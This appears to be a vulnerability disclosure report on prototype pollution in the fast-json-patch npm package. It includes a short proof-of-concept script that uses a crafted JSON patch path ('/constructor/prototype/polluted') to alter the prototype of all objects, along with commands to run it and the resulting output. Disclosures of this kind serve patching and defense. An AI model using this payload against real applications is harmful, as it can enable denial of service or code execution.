Prototype Pollution in starcounter-jack/json-patch


Reported on

Oct 12th 2020


fast-json-patch is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
let fastjsonpatch = require("fast-json-patch");

function A() {}

let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);

const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];

fastjsonpatch.applyPatch(a, patch);

console.log("After : " + a.polluted);
console.log("After : " + b.polluted);
  1. Execute the following commands in another terminal:
npm i fast-json-patch # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
Before : undefined
After : Yes! Its Polluted
After : Yes! Its Polluted
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